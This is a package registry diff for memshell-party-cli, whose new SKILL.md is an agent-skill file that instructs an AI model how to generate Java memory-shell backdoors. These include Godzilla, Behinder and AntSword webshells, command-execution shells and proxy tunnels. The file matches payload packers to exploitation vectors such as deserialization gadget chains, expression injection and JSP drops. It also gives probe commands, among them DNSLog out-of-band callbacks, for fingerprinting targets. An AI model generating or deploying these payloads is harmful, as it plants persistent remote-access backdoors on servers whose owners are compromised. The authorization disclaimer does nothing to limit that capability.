memshell-party-cli 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -21
- package/README.md +270 -167
- package/dist/cli.js.map +1 -1
- package/dist/index.js.map +1 -1
- package/package.json +49 -48
- package/skills/memshell-party/SKILL.md +166 -0
package/package.json
CHANGED
|
@@ -1,48 +1,49 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "memshell-party-cli",
|
|
3
|
-
"version": "0.1.
|
|
4
|
-
"description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
|
|
5
|
-
"keywords": [
|
|
6
|
-
"memshell",
|
|
7
|
-
"memshellparty",
|
|
8
|
-
"security",
|
|
9
|
-
"redteam",
|
|
10
|
-
"cli",
|
|
11
|
-
"mcp",
|
|
12
|
-
"java"
|
|
13
|
-
],
|
|
14
|
-
"type": "module",
|
|
15
|
-
"bin": {
|
|
16
|
-
"memparty": "dist/cli.js"
|
|
17
|
-
},
|
|
18
|
-
"files": [
|
|
19
|
-
"dist",
|
|
20
|
-
"
|
|
21
|
-
"
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
"
|
|
29
|
-
"
|
|
30
|
-
"test
|
|
31
|
-
"
|
|
32
|
-
"
|
|
33
|
-
"
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
"@
|
|
38
|
-
"
|
|
39
|
-
"
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
"
|
|
44
|
-
"
|
|
45
|
-
"
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "memshell-party-cli",
|
|
3
|
+
"version": "0.1.1",
|
|
4
|
+
"description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"memshell",
|
|
7
|
+
"memshellparty",
|
|
8
|
+
"security",
|
|
9
|
+
"redteam",
|
|
10
|
+
"cli",
|
|
11
|
+
"mcp",
|
|
12
|
+
"java"
|
|
13
|
+
],
|
|
14
|
+
"type": "module",
|
|
15
|
+
"bin": {
|
|
16
|
+
"memparty": "dist/cli.js"
|
|
17
|
+
},
|
|
18
|
+
"files": [
|
|
19
|
+
"dist",
|
|
20
|
+
"skills",
|
|
21
|
+
"README.md",
|
|
22
|
+
"LICENSE"
|
|
23
|
+
],
|
|
24
|
+
"engines": {
|
|
25
|
+
"node": ">=18"
|
|
26
|
+
},
|
|
27
|
+
"scripts": {
|
|
28
|
+
"build": "tsup",
|
|
29
|
+
"dev": "tsup --watch",
|
|
30
|
+
"test": "vitest run",
|
|
31
|
+
"test:watch": "vitest",
|
|
32
|
+
"typecheck": "tsc --noEmit",
|
|
33
|
+
"start": "node dist/cli.js",
|
|
34
|
+
"prepublishOnly": "npm run build"
|
|
35
|
+
},
|
|
36
|
+
"dependencies": {
|
|
37
|
+
"@inquirer/prompts": "^7.2.1",
|
|
38
|
+
"@modelcontextprotocol/sdk": "^1.12.1",
|
|
39
|
+
"commander": "^12.1.0",
|
|
40
|
+
"zod": "^3.24.1"
|
|
41
|
+
},
|
|
42
|
+
"devDependencies": {
|
|
43
|
+
"@types/node": "^22.10.2",
|
|
44
|
+
"tsup": "^8.3.5",
|
|
45
|
+
"typescript": "^5.7.2",
|
|
46
|
+
"vitest": "^2.1.8"
|
|
47
|
+
},
|
|
48
|
+
"license": "MIT"
|
|
49
|
+
}
|
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: memshell-party
|
|
3
|
+
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools). Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom) or a probe to fingerprint a target middleware — for authorized security testing, red-team engagements, or research only.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# MemShellParty skill
|
|
7
|
+
|
|
8
|
+
Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
|
|
9
|
+
by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
|
|
10
|
+
|
|
11
|
+
> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
|
|
12
|
+
> do not have explicit written permission to test. You are responsible for how these payloads are used.
|
|
13
|
+
|
|
14
|
+
## How to talk to the tool
|
|
15
|
+
|
|
16
|
+
Two equivalent interfaces — pick whichever is available:
|
|
17
|
+
|
|
18
|
+
- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
|
|
19
|
+
- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
|
|
20
|
+
`list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
|
|
21
|
+
`server_version`.
|
|
22
|
+
|
|
23
|
+
The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
|
|
24
|
+
(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
|
|
25
|
+
|
|
26
|
+
## Step 0 — Discover, don't guess
|
|
27
|
+
|
|
28
|
+
The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
|
|
29
|
+
hard-code a server/packer name from memory.** Always enumerate first:
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
memparty config servers # every server + its shell types
|
|
33
|
+
memparty config tools Tomcat # one server's tools + types
|
|
34
|
+
memparty config packers # packer parent/child tree
|
|
35
|
+
memparty config command # Command-tool encryptors & implementation classes
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
Add `--json` for machine-readable output. Use the exact strings these return.
|
|
39
|
+
|
|
40
|
+
## Step 1 — Pick the four core options
|
|
41
|
+
|
|
42
|
+
Every memory shell needs **server → shell tool → shell type → packer**.
|
|
43
|
+
|
|
44
|
+
### server
|
|
45
|
+
The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
|
|
46
|
+
`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
|
|
47
|
+
to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
|
|
48
|
+
|
|
49
|
+
### shell tool (what the memshell does once injected)
|
|
50
|
+
| Tool | Use when |
|
|
51
|
+
|------|----------|
|
|
52
|
+
| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
|
|
53
|
+
| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
|
|
54
|
+
| `AntSword` | AntSword ("蚁剑") webshell (pass) |
|
|
55
|
+
| `Command` | Single command execution / RCE (param name + encryptor) |
|
|
56
|
+
| `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
|
|
57
|
+
| `NeoreGeorg` | NeoreGeorg tunneling shell |
|
|
58
|
+
| `Proxy` | Generic proxy (often WebSocket-based) |
|
|
59
|
+
| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
|
|
60
|
+
|
|
61
|
+
### shell type (where it hooks into the server)
|
|
62
|
+
`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
|
|
63
|
+
`Agent*` variants. Rules of thumb:
|
|
64
|
+
- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
|
|
65
|
+
Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
|
|
66
|
+
- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
|
|
67
|
+
- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
|
|
68
|
+
filters). `Proxy` tool commonly pairs with `WebSocket` types.
|
|
69
|
+
- Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
|
|
70
|
+
|
|
71
|
+
### packer (how to deliver/instantiate the payload)
|
|
72
|
+
The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
|
|
73
|
+
|
|
74
|
+
| Scenario / vuln | Packer family (leaf names) |
|
|
75
|
+
|-----------------|----------------------------|
|
|
76
|
+
| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
|
|
77
|
+
| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
|
|
78
|
+
| `Class.forName` / `defineClass` via big int | `BigInteger` |
|
|
79
|
+
| BCEL-encoded classloading | `BCEL` |
|
|
80
|
+
| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
|
|
81
|
+
| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
|
|
82
|
+
| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
|
|
83
|
+
| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
|
|
84
|
+
| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
|
|
85
|
+
| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
|
|
86
|
+
| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
|
|
87
|
+
| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
|
|
88
|
+
| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
|
|
89
|
+
| XXL-JOB endpoint | `XxlJob` |
|
|
90
|
+
|
|
91
|
+
> **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
|
|
92
|
+
> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
|
|
93
|
+
> (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
|
|
94
|
+
> `memparty config packers` to see the parent→child tree.
|
|
95
|
+
|
|
96
|
+
## Step 2 — Probe (fingerprint first when unsure)
|
|
97
|
+
|
|
98
|
+
If you don't know the target middleware, generate a **probe** to detect it before committing to a
|
|
99
|
+
memshell. Probes have a strict method × content matrix — only these combos work:
|
|
100
|
+
|
|
101
|
+
| Method (`-m`) | Supported contents (`-c`) | Extra flags |
|
|
102
|
+
|---------------|---------------------------|-------------|
|
|
103
|
+
| `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
|
|
104
|
+
| `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
|
|
105
|
+
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
|
|
106
|
+
|
|
107
|
+
> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
# Blind: does the target resolve our DNS? Which server is it?
|
|
111
|
+
memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
|
|
112
|
+
|
|
113
|
+
# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
|
|
114
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
115
|
+
|
|
116
|
+
# OOB-visible: run a command and echo it into the HTTP response body
|
|
117
|
+
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
|
|
121
|
+
|
|
122
|
+
## Step 3 — Generate
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
Common tool-specific flags:
|
|
129
|
+
- Godzilla: `--godzilla-pass`, `--godzilla-key`
|
|
130
|
+
- Behinder: `--behinder-pass`
|
|
131
|
+
- AntSword: `--antsword-pass`
|
|
132
|
+
- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`
|
|
133
|
+
- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
|
|
134
|
+
- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
|
|
135
|
+
- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
|
|
136
|
+
|
|
137
|
+
Output:
|
|
138
|
+
- payload → **stdout** by default.
|
|
139
|
+
- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
|
|
140
|
+
- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
|
|
141
|
+
|
|
142
|
+
## Gotchas
|
|
143
|
+
|
|
144
|
+
- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
|
|
145
|
+
→ non-prefixed. Picking the wrong family = the shell won't load.
|
|
146
|
+
- **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
|
|
147
|
+
target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
|
|
148
|
+
- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
|
|
149
|
+
special injector class name — the CLI generates one automatically; don't override
|
|
150
|
+
`--injector-class-name` for these.
|
|
151
|
+
- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
|
|
152
|
+
- **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
|
|
153
|
+
- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
|
|
154
|
+
aren't class-byte payloads.
|
|
155
|
+
- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
|
|
156
|
+
don't trust payloads from public services in real engagements — self-host with Docker and use
|
|
157
|
+
`MEMPARTY_API_URL` or `--api`).
|
|
158
|
+
|
|
159
|
+
## Reverse: parse a class name
|
|
160
|
+
|
|
161
|
+
Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
|
|
162
|
+
|
|
163
|
+
```bash
|
|
164
|
+
memparty parse-classname --file shell.class
|
|
165
|
+
memparty parse-classname <base64-of-class-bytes>
|
|
166
|
+
```
|